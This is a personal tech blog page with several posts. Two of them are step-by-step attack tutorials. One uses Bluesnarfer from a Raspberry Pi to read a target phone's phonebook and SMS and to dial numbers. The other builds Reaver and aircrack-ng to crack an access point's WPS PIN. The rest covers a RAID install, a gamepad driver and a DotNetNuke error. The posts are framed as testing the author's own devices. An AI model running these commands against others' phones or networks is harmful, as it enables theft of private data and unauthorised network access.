Pages

Sunday 12 November 2017

Asus G752 install windows on RAID 0 with Samsung 960 EVO

Setting up RAID 0 on a laptop ASUS ROG G752 VM with two disks Samsung 250GB 1,8'' series 960 EVO M.2 2280 NVMe.

1. Write windows isnstallation to USB drive using GPT for UEFI format.
2. Copy Intel RAID drivers on second USB drive.
2. Disconnect other disks.
3. Change BIOS to RAID.
4. Setup the volume as on the video.




5. Run the installer.
6. Load drivers.
7. Install windows.
8. Attach other disks.

Saturday 21 October 2017

Bluesnarfer bluetooth hacking or penetration testing from raspberry pi

Recently I noticed that bluesnarfer can be used for hacking mobile phones. That should be a reason enough to keep bluetooth disabled. So I tried to hack my phone. The tutorials I found on internet were containing errors. Below steps worked for me:

Go to /opt with:
cd /opt

Get Bluesnarfer using the wget command: 
wget http://alighieri.org/tools/bluesnarfer.tar.gz

Extract it with the simple tar xvf command: 
tar xvf bluesnarfer.tar.gz

Open extracted folder and check content:

cd bluesnarfer
ls

This needs to be compiled: make

This resulted in an error on my unit:
fatal error: bluetooth/bluetooth.h: No such file or directory
 #include <bluetooth/bluetooth.h>

If this error occurs that means you need to install libbluetooth-dev
apt-get install libbluetooth-dev

After it is compiled see check Bluesnarfer commands with this command ./bluesnarfer

Now that we have Bluesnarfer, you must configure rfcomm first, if you haven't already done that:
mkdir -p /dev/bluetooth/rfcomm
mknod -m 666 /dev/bluetooth/rfcomm/0 c 216 0
mknod --mode=666 /dev/rfcomm0 c 216 0

hciconfig hci0 up
hciconfig hci0

Scan for target devices:
hcitool scan hci0

Ping the target to see if it is awake:
l2ping  <victim mac addr>

Browse the target for rfcomm channels to connect to:
sdptool browse --tree --l2cap <mac addr>

Now you can use Bluesnarfer for example to read the victims phonebook, dial a number or read sms or other things:

./bluesnarfer -r 1-100 -C 7 -b <mac addr>

See available opions with:
./bluesnarfer -h

Dial number: 
./bluesnarfer-m < victim name > -c 7 -a < mac addr > Dial < number >

Monday 27 February 2017

Penetration test of my Wifi


How to compile Reaver under Ubuntu 12.04 (and aircrack-ng)

This is a quick how-to compile and install Reaver under Ubuntu 12.04

Steps:

1.    download source
2.    install required libraries and tools
3.    download and build aircrack-ng
4.    compile and install
5.    run

Download Source

First you need to download the latest source from http://code.google.com/p/reaver-wps/

    wget http://reaver-wps.googlecode.com/files/reaver-1.4.tar.gz

Extract the tarball

    tar -xzvf reaver-1.4.tar.gz

Install Required Libraries and Tools

Before you can build Reaver you need pcaplib and later on aircrack-ng (iw) to run Reaver

    sudo apt-get install libpcap-dev sqlite3 libsqlite3-dev libpcap0.8-dev

Compile and Install

Build Reaver

    cd reaver-1.4
    cd src
    ./configure
    make


Install Reaver

    sudo make install

Download aircrack-ng source and build it

Since Ubuntu 12.04 aircrack-ng is not longer in the repository but you can still download it from source and compile it. It’s only one little tweak that need to be done since it will not build without the following errors.

    johan@ubuntu-lab:~/aircrack-ng-1.1$ make
    make -C src all
    make[1]: Entering directory `/home/johan/aircrack-ng-1.1/src’
    make -C osdep
    make[2]: Entering directory `/home/johan/aircrack-ng-1.1/src/osdep’
    Building for Linux
    make[3]: Entering directory `/home/johan/aircrack-ng-1.1/src/osdep’
    gcc -g -W -Wall -Werror -O3 -D_FILE_OFFSET_BITS=64 -D_REVISION=0  -fPIC -I..    -c -o osdep.o osdep.c
    gcc -g -W -Wall -Werror -O3 -D_FILE_OFFSET_BITS=64 -D_REVISION=0  -fPIC -I..    -c -o network.o network.c
    gcc -g -W -Wall -Werror -O3 -D_FILE_OFFSET_BITS=64 -D_REVISION=0  -fPIC -I..    -c -o linux.o linux.c
    linux.c: In function ‘is_ndiswrapper’:
    linux.c:165:17: error: variable ‘unused’ set but not used [-Werror=unused-but-set-variable]
    linux.c: In function ‘linux_set_rate’:
    linux.c:334:22: error: variable ‘unused’ set but not used [-Werror=unused-but-set-variable]
    linux.c: In function ‘linux_set_channel’:
    linux.c:807:22: error: variable ‘unused’ set but not used [-Werror=unused-but-set-variable]
    linux.c: In function ‘linux_set_freq’:
    linux.c:896:22: error: variable ‘unused’ set but not used [-Werror=unused-but-set-variable]
    linux.c: In function ‘set_monitor’:
    linux.c:1022:22: error: variable ‘unused’ set but not used [-Werror=unused-but-set-variable]
    linux.c: In function ‘do_linux_open’:
    linux.c:1366:12: error: variable ‘unused_str’ set but not used [-Werror=unused-but-set-variable]
    linux.c:1352:15: error: variable ‘unused’ set but not used [-Werror=unused-but-set-variable]
    linux.c: In function ‘get_battery_state’:
    linux.c:1982:35: error: variable ‘current’ set but not used [-Werror=unused-but-set-variable]
    cc1: all warnings being treated as errors
    make[3]: *** [linux.o] Error 1
    make[3]: Leaving directory `/home/johan/aircrack-ng-1.1/src/osdep’
    make[2]: *** [all] Error 2
    make[2]: Leaving directory `/home/johan/aircrack-ng-1.1/src/osdep’
    make[1]: *** [osd] Error 2
    make[1]: Leaving directory `/home/johan/aircrack-ng-1.1/src’
    make: *** [all] Error 2

This is how to build aircrack-ng under Ubuntu 12.04

    sudo apt-get install build-essential
    sudo apt-get install libssl-dev
    wget http://download.aircrack-ng.org/aircrack-ng-1.1.tar.gz
    tar -zxvf aircrack-ng-1.1.tar.gz
    cd aircrack-ng-1.1


Edit common.mak with vi as example

    vi common.mak

Find the following row

    CFLAGS          ?= -g -W -Wall -Werror -O3

Remove “-Werror” so that it looks like this

    CFLAGS          ?= -g -W -Wall -O3

Save the file, build and install

    make
    sudo make install


Run

Reaver is now installed and ready to use. You will first need to put the wifi adapter info monitor mode before you can start and the most easiest way is to use airmon-ng (part of aircrack-ng) that you just installed.

First put your adapter info monitor mode, in my case it’s wlan0

    sudo airmon-ng start wlan0

Run Reaver

    sudo reaver -i mon0 -b 00:00:00:00:00:00

Replace MAC 00:00:00:00:00:00 with the actual AP:s MAC address to crack

Friday 17 February 2017

Xiaomi Wireless Bluetooth Gamepad Controller driver issue on Windows 10

Another offtopic...
I got recently Xiaomi gamepad from china. Specs were cool, the issue was that by default buttons were assigned incorrectly. I spent some time looking for solution to this and the only thing that worked for me was found here.

With that small app all buttons are assigned correctly and vibration works.

DNN: can't find /DesktopModules/DDRMenu/Menu.ascx

Little offtopic...
I suddenly got Unexpected error while opening my local dev website dotNetNuke. The log in Portals\_default\Logs mentioned that /DesktopModules/DDRMenu/Menu.ascx is not found although it existed on file system.

Apparently this was caused by adding custom developed module. One guy found the solution and described this situation on this blog post.

So, the solution is to delete virtual folder desktopmodules in IIS. Then the original folder DesktopModules from file system will appear in this place. Next restart application pool and that's it!